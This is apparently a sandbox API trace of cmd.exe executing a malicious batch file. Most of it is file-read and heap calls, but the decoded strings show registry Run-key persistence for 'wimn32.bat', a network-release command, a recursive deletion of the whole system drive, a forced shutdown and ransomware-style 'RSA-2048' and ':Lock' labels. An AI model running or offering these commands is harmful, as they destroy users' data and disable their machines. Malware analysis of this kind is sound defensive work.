SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2486 [0037.471] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1a7, lpOverlapped=0x0) returned 1 [0037.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=9387, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24ab [0037.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=37, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo break off>>c:windowswimn32.bat\r\nted file >Oops40.txt\r\n") returned 37 [0037.471] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24ab [0037.471] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.471] GetFileType (hFile=0x74) returned 0x1 [0037.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24ab [0037.471] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x182, lpOverlapped=0x0) returned 1 [0037.471] SetFilePointer (in: hFile=0x74, lDistanceToMove=9435, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24db [0037.471] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=48, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo ipconfig/release_all>>c:windowswimn32.bat\r\nops40.txt\r\n") returned 48 [0037.472] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24db [0037.472] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.472] GetFileType (hFile=0x74) returned 0x1 [0037.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24db [0037.472] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x152, lpOverlapped=0x0) returned 1 [0037.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=9466, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x24fa [0037.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=31, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="echo end>>c:windowswimn32.bat\r\nndowswimn32.bat\r\n") returned 31 [0037.472] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24fa [0037.472] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.472] GetFileType (hFile=0x74) returned 0x1 [0037.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x24fa [0037.472] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x133, lpOverlapped=0x0) returned 1 [0037.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=9586, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2572 [0037.472] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=120, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f\r\nexe\" \"") returned 120 [0037.472] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.472] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2572 [0037.473] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.473] GetFileType (hFile=0x74) returned 0x1 [0037.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2572 [0037.473] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0xbb, lpOverlapped=0x0) returned 1 [0037.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=9706, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x25ea [0037.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=120, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 120 [0037.473] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x25ea [0037.473] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.473] GetFileType (hFile=0x74) returned 0x1 [0037.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x25ea [0037.473] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x43, lpOverlapped=0x0) returned 1 [0037.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=9738, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x260a [0037.473] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=32, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="del %systemdrive%\\*.* /f /s /q\r\nemicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f\r\n") returned 32 [0037.473] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.473] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x260a [0037.473] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.473] GetFileType (hFile=0x74) returned 0x1 [0037.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x260a [0037.474] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x23, lpOverlapped=0x0) returned 1 [0037.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=9745, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2611 [0037.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="pause\r\nstemdrive%\\*.* /f /s /q\r\n") returned 7 [0037.474] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2611 [0037.474] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.474] GetFileType (hFile=0x74) returned 0x1 [0037.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2611 [0037.474] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x1c, lpOverlapped=0x0) returned 1 [0037.474] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="shutdown /s /t 20 /c Ooops\r\n/q\r\n") returned 28 [0037.474] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x262d [0037.474] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.474] GetFileType (hFile=0x74) returned 0x1 [0037.474] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x262d [0037.474] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x0, lpOverlapped=0x0) returned 1 [0037.475] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.475] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.475] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.475] GetFileType (hFile=0x74) returned 0x1 [0037.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0037.475] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=8, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0037.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=8, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="@shift\r\n /s /t 20 /c Ooops\r\n") returned 8 [0037.475] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0037.475] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.475] GetFileType (hFile=0x74) returned 0x1 [0037.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8 [0037.475] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.475] SetFilePointer (in: hFile=0x74, lDistanceToMove=19, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0037.475] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="@echo off\r\n /t 20 /c Ooops\r\n") returned 11 [0037.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0037.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.476] GetFileType (hFile=0x74) returned 0x1 [0037.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x13 [0037.476] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=35, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0037.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=16, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="title RSA-2048\r\n0 /c Ooops\r\n") returned 16 [0037.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0037.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.476] GetFileType (hFile=0x74) returned 0x1 [0037.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x23 [0037.476] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=45, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0037.476] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=10, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="cd Links\r\n2048\r\n") returned 10 [0037.476] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.476] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0037.477] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.477] GetFileType (hFile=0x74) returned 0x1 [0037.477] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x2d [0037.477] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41eecc, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41eecc*=0x200, lpOverlapped=0x0) returned 1 [0037.477] SetFilePointer (in: hFile=0x74, lDistanceToMove=52, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0037.477] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=7, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":Lock\r\ns\r\n") returned 7 [0037.478] _close (_FileHandle=3) returned 0 [0037.478] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.478] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.479] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.479] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.479] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.479] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.479] SetConsoleInputExeNameW () returned 0x1 [0037.479] GetConsoleOutputCP () returned 0x1b5 [0037.479] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.479] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.480] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.480] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.480] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.480] SetFilePointer (in: hFile=0x74, lDistanceToMove=52, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0037.480] GetProcessHeap () returned 0x4e0000 [0037.480] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0037.480] GetProcessHeap () returned 0x4e0000 [0037.480] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ad8 | out: hHeap=0x4e0000) returned 1 [0037.480] GetProcessHeap () returned 0x4e0000 [0037.480] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ab8 | out: hHeap=0x4e0000) returned 1 [0037.480] GetProcessHeap () returned 0x4e0000 [0037.480] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.480] GetProcessHeap () returned 0x4e0000 [0037.480] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.480] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.480] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x34 [0037.481] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=54, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0037.481] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\nto Lock\r\n3 %RANDOM%.XL\r\n\n") returned 2 [0037.481] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.481] GetFileType (hFile=0x74) returned 0x1 [0037.481] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.481] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0037.481] GetProcessHeap () returned 0x4e0000 [0037.481] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.481] GetProcessHeap () returned 0x4e0000 [0037.481] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.481] _tell (_FileHandle=3) returned 54 [0037.481] _close (_FileHandle=3) returned 0 [0037.481] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.481] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.482] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=54, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0037.482] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x36 [0037.482] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0037.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=79, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0037.482] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.zip goto zip\r\n\n\n") returned 25 [0037.482] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.482] GetFileType (hFile=0x74) returned 0x1 [0037.482] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.482] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0037.482] GetProcessHeap () returned 0x4e0000 [0037.482] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x4f5868 [0037.482] GetProcessHeap () returned 0x4e0000 [0037.482] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5868 | out: hHeap=0x4e0000) returned 1 [0037.482] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.482] GetProcessHeap () returned 0x4e0000 [0037.482] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.483] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.483] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4a98 [0037.483] GetProcessHeap () returned 0x4e0000 [0037.483] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x16 [0037.483] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.483] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4ab8 [0037.483] GetProcessHeap () returned 0x4e0000 [0037.483] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b18 [0037.483] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.483] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.483] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f4b38 [0037.483] GetProcessHeap () returned 0x4e0000 [0037.483] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.483] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f4b58 [0037.483] GetProcessHeap () returned 0x4e0000 [0037.483] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b58) returned 0x16 [0037.483] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4b78 [0037.483] GetProcessHeap () returned 0x4e0000 [0037.483] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bd8 [0037.483] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f4bf8 [0037.484] _tell (_FileHandle=3) returned 79 [0037.484] _close (_FileHandle=3) returned 0 [0037.484] GetFullPathNameW (in: lpFileName="*.zip", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", lpFilePart=0x41eea8*="*.zip") returned 0x2b [0037.484] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.484] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.zip", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.485] GetLastError () returned 0x2 [0037.485] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.485] GetLastError () returned 0x6 [0037.485] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.485] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.485] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.485] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.485] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.485] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.486] SetConsoleInputExeNameW () returned 0x1 [0037.486] GetConsoleOutputCP () returned 0x1b5 [0037.486] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.486] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.486] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.486] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.486] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.486] SetFilePointer (in: hFile=0x74, lDistanceToMove=79, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4f [0037.486] GetProcessHeap () returned 0x4e0000 [0037.486] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bf8 | out: hHeap=0x4e0000) returned 1 [0037.486] GetProcessHeap () returned 0x4e0000 [0037.487] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4bd8 | out: hHeap=0x4e0000) returned 1 [0037.487] GetProcessHeap () returned 0x4e0000 [0037.487] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b78 | out: hHeap=0x4e0000) returned 1 [0037.487] GetProcessHeap () returned 